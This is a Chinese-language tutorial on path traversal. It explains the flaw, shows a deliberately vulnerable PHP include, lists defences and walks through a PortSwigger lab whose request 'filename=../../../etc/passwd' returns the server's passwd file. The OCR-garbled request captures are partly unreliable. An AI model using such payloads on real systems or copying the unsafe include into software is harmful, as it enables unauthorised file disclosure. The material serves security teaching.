概述
路径遍历漏洞，又称 “目录遍历漏洞”，其核心原理是攻击者通过操纵用户可控的输入参数（如文件名、路径参数），构造特殊的路径字符串（如../、..\），绕过应用程序的预期访问范围，读取或操作服务器上未授权的文件 / 目录，例如敏感配置文件、系统文件、数据库凭证等。
路径遍历漏洞的本质是 “用户输入未被有效控制，导致路径超出预期范围”。
漏洞原理
Web 应用常需要读取服务器上的文件（如静态资源、配置文件、模板文件等），若应用直接将用户输入的参数拼接为文件路径，且未对输入进行严格过滤 / 校验，攻击者就能利用路径跳转符号（如../，表示 “返回上级目录”）突破预期的目录限制。
不同操作系统的路径分隔符不同，对应的跳转符号也有差异：
	操作系统
	路径分隔符
	上级目录符号
	示例（跳 1 级上级目录）

	Linux/Unix
	/
	../
	./page.php → ../page.php

	Windows
	\ 或 /
	..\ 或 ../
	./page.php → ..\page.php


例如：
<?php

// 用户通过URL参数指定要查看的模板文件

// 例如：https://example.com/view.php?template=welcome.html

$template = $_GET['template'];

include('/var/www/html/templates/' . $template);

?>

漏洞危害
路径遍历漏洞的危害程度取决于服务器权限配置和攻击者的目标，主要包括：
读取敏感文件：获取系统配置（如/etc/config）、数据库账号密码（如./config/database.php）、用户数据（如./data/user.db）等；
执行恶意代码：若结合 “文件上传漏洞”（攻击者先上传恶意脚本，再通过路径遍历包含该脚本），可实现远程代码执行（RCE）；
破坏文件系统：若应用有写入权限，攻击者可能构造路径删除 / 修改服务器上的关键文件（如删除系统日志、篡改网页内容）；
信息泄露：即使无法读取敏感文件，也可能通过遍历目录获取文件列表，为进一步攻击提供信息。
防护措施
防御路径遍历的核心是严格控制用户输入对文件路径的影响，避免直接拼接输入，优先采用 “白名单” 和 “安全路径处理”：
1. 输入验证与过滤
过滤危险字符：严格禁止或移除输入中的../、..\、/、\、%00（空字符）、..//（重复分隔符）等符号；

限制输入长度：避免过长的路径输入（如限制filename参数长度不超过 50 字符）；

禁止绝对路径：若输入为文件名，禁止包含绝对路径（如/etc/passwd、C:\Windows\system32）。

2. 采用白名单机制
最安全的方式是只允许访问预设的合法文件 / 目录，拒绝所有不在白名单内的请求。
3. 使用安全的路径处理 API
利用编程语言提供的 “真实路径解析” 函数，将用户输入的路径转换为服务器上的绝对真实路径，再校验是否在允许的目录范围内：
Linux/PHP：realpath()（解析路径中的../，返回绝对真实路径）；

Java：java.nio.file.Paths.get(baseDir, userInput).toRealPath()；

Python：os.path.abspath(os.path.join(baseDir, userInput))。

4. 限制文件权限
降低 Web 服务进程的权限：例如，让 Nginx/Apache 以 “普通用户”（而非root/Administrator）运行，该用户仅能访问 Web 应用必需的目录（如./www），无法访问/etc、/root等系统目录；

禁止写入权限：对仅需读取的目录（如./templates），移除 Web 进程的写入权限，防止攻击者修改文件。

5. 避免暴露文件路径
不返回详细错误信息：若文件不存在，避免返回 “文件路径不存在” 等提示（如Warning: include(./templates/../../etc/passwd.php): failed to open stream），防止攻击者通过错误信息推断目录结构；

用 “标识” 替代真实路径：例如，用user_id=123替代直接传递filename=123.jpg，应用内部通过user_id映射到真实文件路径（如123→./uploads/avatars/123.jpg），完全隐藏真实路径。

防御的关键不是依赖单一的 “字符过滤”，而是结合白名单机制、真实路径校验、权限控制，从 “源头” 限制文件访问范围，彻底切断攻击者 “跳出” 预期目录的可能。
实验
靶机地址：https://portswigger.net/web-security/file-path-traversal/lab-simple
任务：检索文件的内容/etc/passwd。
1、访问靶机，类似于购物网站。
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2、点击任意商品详情，抓取数据包，发现图片image直接传入的图片。
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3、将数据包发送到repeater中，点击send，直接返回了图片地址。
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4、修改filename=的参数值，读取成功。
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GET /image?filename=67. jpg HITP/2

Host: 0a9d005e0368a72484£c90£100560083. web-security-academy. net

Cookie: session=slcnGMS6YssMkoZRxjBEOQT YpinAads

Sec~Ch-Ua-Platform: “Windows”

Accept-Language: zh-CN, zh;q=0. 9

Sec=Ch-Ua: “Not)A;Brand”;v="8", ”Chromium”;v="138"

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537T.36
Sec-Ch-Ua-Mobile: 20

Accept: image/avif, image/webp, image/apng, image/sve+xml, image/#, */*;q=0. 8

Sec-Fetch-Site: same-origin

Sec-Fetch-Mod

N e WN=

no-cors

Referer: https://0a9d005e0368a72484fc90£100560083. web-security-academy. net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=2, i
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1 GET /image?filename=67. jpg HTTP/2

2 Host: 0a9d005e0368a72484fc90£100560083. web-security-acadeny. net

Cookie: session=slcnGM86YssMkoZRxjBEOT YpiniAa

Sec~Ch-Ua-Platform: “Windows”

Accept-Language: zh-CN, zh;q=0. 9

Sec~Ch-Ua: "Not)A;Brand”;v="8", "Chromium”;v="138"

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

Sec-Ch-Ua-Mobile: 20

Accept: image/avif, image/webp, image/apng, image/sve+xml, image/#, */*;q=0. 8
Sec-Fetch-Site: same-origin

Sec-Fetch-Node: no-cors

Sec-Fetch-Dest: image

Referer:

https://0a9d005¢0368a72484£c90£ 100560083, web-security-academy. net/product?produ
ctlId=1

Accept-Encoding: gzip, deflate, br

Priority: u=2, i
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GET /image?filename=../../../etc/passwd HITP/2

Host: 0a9d005e0368a72484£c90£100560083. web-security-academy. net
Cookie: session=slcnGMS6YssMkoZRxjBEOQT YpinAads
Sec~Ch-Ua-Platform: “Windows”

Accept-Language: zh-CN, zh;
Sec~Ch-Ua: "Not)A;Brand”

.9
8", “Chromiun”;

138"

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Sec~Ch-Ua-Mobile: 20

Accept: image/avif, image/webp, image/apng, image/svg+xml, image/*, */*;q=0. 8

Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer:

https://0a9d005e0368a72484fc90£100560083. web-security-academy. net/product?produ

ctld=1
Accept-Encoding: gzip, deflate, br
Priority: u=2, i
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2 Contéent-Type: image/jpeg

3 X-Frame-Options: SAMEORIGIN

4 Content-Length: 2316

5

6 root:x:0:0:root:/root:/bin/bash

7 daemon: x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
8 bin bin:/bin: /usr/sbin/nologin

9 sys sys:/dev: /usr/sbin/nologin

10 sync:x:4:65534:sync: /bin: /bin/sync
60: games: /usr/games: /usr/sbin/nologin
12:man: /var/cache/man: /usr/sbin/nologin
:1p:/var/spool/1pd: /usr/sbin/nologin
ail:/var/mail:/usr/sbin/nologin
ews: /var/spool/news: /usr/sbin/nologin
16 uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
13:13:proxy: /bin: /usr/sbin/nologin
3:33: www-data: /var/www: /usr/sbin/nologin
19 backup: x:34:34:backup: /var/backups: /usr/sbin/nologin
38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
9 ired: /var/run/ircd: /usr/sbin/nologin
22 gnats:x:41:41:Gnats Bug-Reporting System

(admin) : /var/1ib/gnats: /usr/sbin/nologin
23 nobody: x:65534: 65534: nobody : /nonexistent: /usr/sbin/nologin
24 _apt:x:100:65534: : /nonexistent: /usr/sbin/nologin
12001:12001: : /home/peter: /bin/bash

/home/elmer: /bin/bash
/academy: /bin/bash
messagebus:x:101:101: : /nonexistent: /usr/sbin/nologin
dnsmasq: x:102:65534: dnsmasa, , , : /var/lib/misc: /usr/sbin/nologin
2 systemd-timesync:x:103:103:systemd Time
Synchronization, , , : /run/systemd: /usr/sbin/nologin
33 systemd-network:x:104:105:systemd Network
Management, , , : /run/systend: /usr/sbin/nologin
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